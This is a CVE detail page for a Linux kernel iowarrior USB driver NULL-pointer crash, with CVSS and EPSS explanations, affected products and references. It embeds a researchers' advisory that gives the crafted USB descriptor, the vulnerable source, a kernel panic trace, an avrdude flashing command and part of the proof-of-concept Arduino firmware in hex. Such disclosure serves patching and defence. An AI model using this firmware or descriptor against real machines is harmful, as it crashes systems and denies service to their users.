CVE-2016-2188 : Detail

CVE-2016-2188

4.6
/
Medium
0.89%V3
Physical
2016-05-02
08h00 +00:00
2017-09-07
07h57 +00:00
CVE.org
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CVE Descriptions

The iowarrior_probe function in drivers/usb/misc/iowarrior.c in the Linux kernel before 4.5.1 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.6 MEDIUM CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Physical

A vulnerability exploitable with Physical access requires the attacker to physically touch or manipulate the vulnerable component. Physical interaction may be brief (e.g. evil maid attack [1]) or persistent. An example of such an attack is a cold boot attack which allows an attacker to access to disk encryption keys after gaining physical access to the system, or peripheral attacks such as Firewire/USB Direct Memory Access attacks.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 39556

Publication date : 2016-03-13 23h00 +00:00
Author : OpenSource Security
EDB Verified : No

OS-S Security Advisory 2016-15 Linux iowarrior Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid USB device descriptors (iowarrior driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of advisory: https://os-s.net//advisories/OSS-2016-15_iowarrior.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the iowarrior driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x7c0 idProduct: 0x1500 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system. [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc The iowarrior driver assumes that there will be at least one IN-endpoint- descriptor. If the interface-descriptor contains a zero-value for bNumEndpoints or no IN- endpoint-descriptor is provided, the driver tries to dereference a null- pointer and the kernel crashes: **** $ nm iowarrior.ko.debug | grep iowarrior_probe 00000000000012a0 t iowarrior_probe $ addr2line -e iowarrior.ko.debug 0x13D4 /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_ 64/include/uapi/linux/usb/ch9.h:605 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c) ... 603 static inline int usb_endpoint_maxp(const struct usb_endpoint_descriptor *epd) /* used by iowarrior_probe */ 604 { 605 return __le16_to_cpu(epd->wMaxPacketSize); /* Possible Nullpointer Dereference */ 606 } ... **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/misc/iowarrior.c) ... 790 /* set up the endpoint information */ 791 for (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) { 792 endpoint = &iface_desc->endpoint[i].desc; 793 794 if (usb_endpoint_is_int_in(endpoint)) 795 dev->int_in_endpoint = endpoint; /* Nullpointer if never set */ 796 if (usb_endpoint_is_int_out(endpoint)) 797 /* this one will match for the IOWarrior56 only */ 798 dev->int_out_endpoint = endpoint; 799 } 800 /* we have to check the report_size often, so remember it in the endianness suitable for our machine */ 801 dev->report_size = usb_endpoint_maxp(dev->int_in_endpoint); /* Nullpointer if never set */ 802 if ((dev->interface->cur_altsetting->desc.bInterfaceNumber == 0) && 803 (dev->product_id == USB_DEVICE_ID_CODEMERCS_IOW56)) 804 /* IOWarrior56 has wMaxPacketSize different from report size */ 805 dev->report_size = 7; ... **** Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. To this day, no security patch was provided by the vendor. Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283390 Kernel Stacktrace: [ 34.458988] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 34.662073] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface descriptor's value: 0 [ 34.694667] usb 1-1: New USB device found, idVendor=07c0, idProduct=1500 [ 34.701412] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 34.709475] usb 1-1: Product: Ä? [ 34.713214] usb 1-1: Manufacturer: Ä? [ 34.717062] usb 1-1: SerialNumber: % [ 34.779320] BUG: unable to handle kernel NULL pointer dereference at 0000000000000004 [ 34.780026] IP: [<ffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior] [ 34.780026] PGD 0 [ 34.780026] Oops: 0000 [#1] SMP [ 34.780026] Modules linked in: iowarrior(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 34.780026] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 34.780026] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 34.780026] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 34.780026] RIP: 0010:[<ffffffffa03943d4>] [<ffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior] [ 34.780026] RSP: 0018:ffff88000bd23b98 EFLAGS: 00010246 [ 34.780026] RAX: 0000000000000000 RBX: ffff88000bd36600 RCX: 0000000000000000 [ 34.780026] RDX: 0000000000000000 RSI: 0000000000001500 RDI: ffff88000bd36688 [ 34.780026] RBP: ffff88000bd23be0 R08: 0000000000016460 R09: ffff88000e401700 [ 34.780026] R10: ffffffffa03942d3 R11: ffffffff810020d8 R12: ffff88000c525800 [ 34.780026] R13: ffff88000bcd0090 R14: ffff88000bcd0000 R15: ffff88000f508bc8 [ 34.780026] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 34.780026] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 34.780026] CR2: 0000000000000004 CR3: 000000000c448000 CR4: 00000000000006f0 [ 34.780026] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 34.780026] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 34.780026] Stack: [ 34.780026] ffff88000c525830 ffff88000bd23be0 ffffffff813dfba2 ffff88000af01800 [ 34.780026] ffff88000bcd0090 ffff88000bcd0000 ffffffffa03960c8 ffff88000c525830 [ 34.780026] ffffffffa0395500 ffff88000bd23c28 ffffffff8141dc04 000000000bd23c00 [ 34.780026] Call Trace: [ 34.780026] [<ffffffff813dfba2>] ? __pm_runtime_set_status+0x132/0x210 [ 34.780026] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 34.780026] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 34.780026] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 34.780026] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 34.780026] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 34.780026] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 34.780026] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0 [ 34.780026] [<ffffffff813d3b34>] driver_register+0x64/0xf0 [ 34.780026] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160 [ 34.780026] [<ffffffffa0399000>] ? 0xffffffffa0398fff [ 34.780026] [<ffffffffa039901e>] iowarrior_driver_init+0x1e/0x1000 [iowarrior] [ 34.780026] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 34.780026] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 34.780026] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 34.780026] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 34.780026] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 34.780026] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 34.780026] Code: 0c c8 0f b6 41 03 83 e0 03 3c 03 75 da 80 79 02 00 0f 88 10 02 00 00 48 89 4b 40 41 0f b6 47 04 83 c2 01 39 d0 7f cc 48 8b 43 48 <0f> b7 40 04 89 83 c8 00 00 00 49 8b 44 24 08 80 78 02 00 0f 84 [ 34.780026] RIP [<ffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior] [ 34.780026] RSP <ffff88000bd23b98> [ 34.780026] CR2: 0000000000000004 [ 35.199537] ---[ end trace b239663354a1c556 ]--- [ 35.205081] Kernel panic - not syncing: Fatal exception [ 35.206054] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C2050C942D04CE :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940C02C3 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C50009030C0306 :1000B000FF0203032D032D032D0310031403180364 :1000C0001E0322032D0328030000000200080E0077 :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 :1000F00040804080080204018040201002011080EE :100100001020404004040404040304050202020217 :1001100004030202020206060606060604040202A0 :100120000204000000002300260029002C002F00FC :1001300000000000250028002B002E0031000000E8 :100140000000240027002A002D00300000C180811B :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077 :10016000B1E0E0EDF3E102C005900D92A436B107D5 :10017000D9F725E0A4E6B5E001C01D92AF37B2077C :10018000E1F70E94C8000C9402070C940000089547 :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421 :1001A000DEBF0FBECDBF0E949F020E94C70060E06D :1001B00083E00E942E0361E087E00E942E0361E04D :1001C00088E00E942E030E9457067E012AE9E20E73 :1001D000F11C84E093E0D70111969C938E9389E003 :1001E00094E013969C938E93129782E2E2E1F1E001 :1001F0009E012F5F3F4F6901D90101900D928A95B1 :10020000E1F788E1E4E3F1E0DE01939601900D92DD :100210008A95E1F782E1ECE4F1E0DE01DB96019002 :100220000D928A95E1F789E0EEE5F1E0DE01A05953 :10023000BF4F01900D928A95E1F72A593F4F99E0FF :10024000992ED901E92D1D92EA95E9F78E010957FA :100250001F4F87E0E7E6F1E0D80101900D928A9503 :10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189 :1002700001900D928A95E1F7AE0147585F4F87E0F4 :10028000E5E7F1E0DA0101900D928A95E1F75E0170 :10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D :1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172 :1002B0001D92EA95E9F7E3E0DC011996EC93F90168 :1002C0009082E4E0D9011196EC93F901DC01292D2B :1002D00001900D922A95E1F7FE01EC56FF4FDC01EB :1002E0001B96FC93EE931A971D96BC92AE921C97A8 :1002F0001183008373836283558344830C521109F5 :100300002CE0F80111922A95E9F721E0D80119961D :100310002C931997FE01E059FF4F01900D929A948A :10032000E1F7F8019387828761E088E00E94670324 :100330008BE492E00E94630688E892E00E946306E4 :1003400087EC92E00E94630686E093E00E946306D9 :1003500082E493E00E9463068FE793E00E946306C5 :1003600084EA93E00E9463068BEE93E00E946306AA :1003700083E00E949D03892B09F047C05E01F3E2F0 :10038000AF0EB11C8824839482E1982E84E194E01E :100390000E946306BF92AF92DF92CF92FF92EF92DC :1003A0001F928F921F930F932DB73EB722513109A1 :1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6 :1003C000FE01FB96892D01900D928A95E1F78DE64D :1003D00095E00E94010668E873E180E090E00E94E9 :1003E00079028DE695E00E944C0660E087E00E946D :1003F000670368E873E180E090E00E9479020FB63D :10040000F894DEBF0FBECDBFC1CF6AE070E080E0E0 :1004100090E00E947902ACCF1F920F920FB60F921C :1004200011242F933F938F939F93AF93BF9380910A :10043000650590916605A0916705B09168053091BA :10044000640523E0230F2D3720F40196A11DB11D73 :1004500005C026E8230F0296A11DB11D2093640557 :100460008093650590936605A0936705B093680532 :100470008091690590916A05A0916B05B0916C051A :100480000196A11DB11D8093690590936A05A09303 :100490006B05B0936C05BF91AF919F918F913F9188 :1004A0002F910F900FBE0F901F9018953FB7F894A3 :1004B0008091690590916A05A0916B05B0916C05DA :1004C00026B5A89B05C02F3F19F00196A11DB11DAF :1004D0003FBF6627782F892F9A2F620F711D811DCC :1004E000911D42E0660F771F881F991F4A95D1F72B :1004F0000895CF92DF92EF92FF92CF93DF936B013B :100500007C010E945602EB01C114D104E104F10404 :1005100079F00E9456026C1B7D0B683E7340A0F37D :1005200081E0C81AD108E108F108C851DC4FECCFCE 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Products Mentioned

Configuraton 0

Novell>>Suse_linux_enterprise_software_development_kit >> Version 11.0

Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0

Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0

Novell>>Suse_linux_enterprise_debuginfo >> Version 11.0

Novell>>Suse_linux_enterprise_desktop >> Version 12.0

Novell>>Suse_linux_enterprise_desktop >> Version 12.0

Novell>>Suse_linux_enterprise_live_patching >> Version 12.0

    Novell>>Suse_linux_enterprise_module_for_public_cloud >> Version 12.0

      Novell>>Suse_linux_enterprise_real_time_extension >> Version 11.0

        Novell>>Suse_linux_enterprise_real_time_extension >> Version 12.0

          Novell>>Suse_linux_enterprise_server >> Version 11.0

            Novell>>Suse_linux_enterprise_server >> Version 11.0

            Novell>>Suse_linux_enterprise_server >> Version 12.0

            Novell>>Suse_linux_enterprise_server >> Version 12.0

            Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0

            Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0

            Configuraton 0

            Linux>>Linux_kernel >> Version To (including) 4.5.0

            Configuraton 0

            Canonical>>Ubuntu_linux >> Version 12.04

            References

            http://www.ubuntu.com/usn/USN-2971-2
            Tags : vendor-advisory, x_refsource_UBUNTU
            https://www.exploit-db.com/exploits/39556/
            Tags : exploit, x_refsource_EXPLOIT-DB
            http://seclists.org/bugtraq/2016/Mar/87
            Tags : mailing-list, x_refsource_BUGTRAQ
            http://www.ubuntu.com/usn/USN-2970-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://www.ubuntu.com/usn/USN-2969-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://www.ubuntu.com/usn/USN-2968-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://www.ubuntu.com/usn/USN-2971-3
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://www.ubuntu.com/usn/USN-2997-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://www.ubuntu.com/usn/USN-2971-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://www.ubuntu.com/usn/USN-2996-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://www.ubuntu.com/usn/USN-2968-2
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://seclists.org/bugtraq/2016/Mar/118
            Tags : mailing-list, x_refsource_BUGTRAQ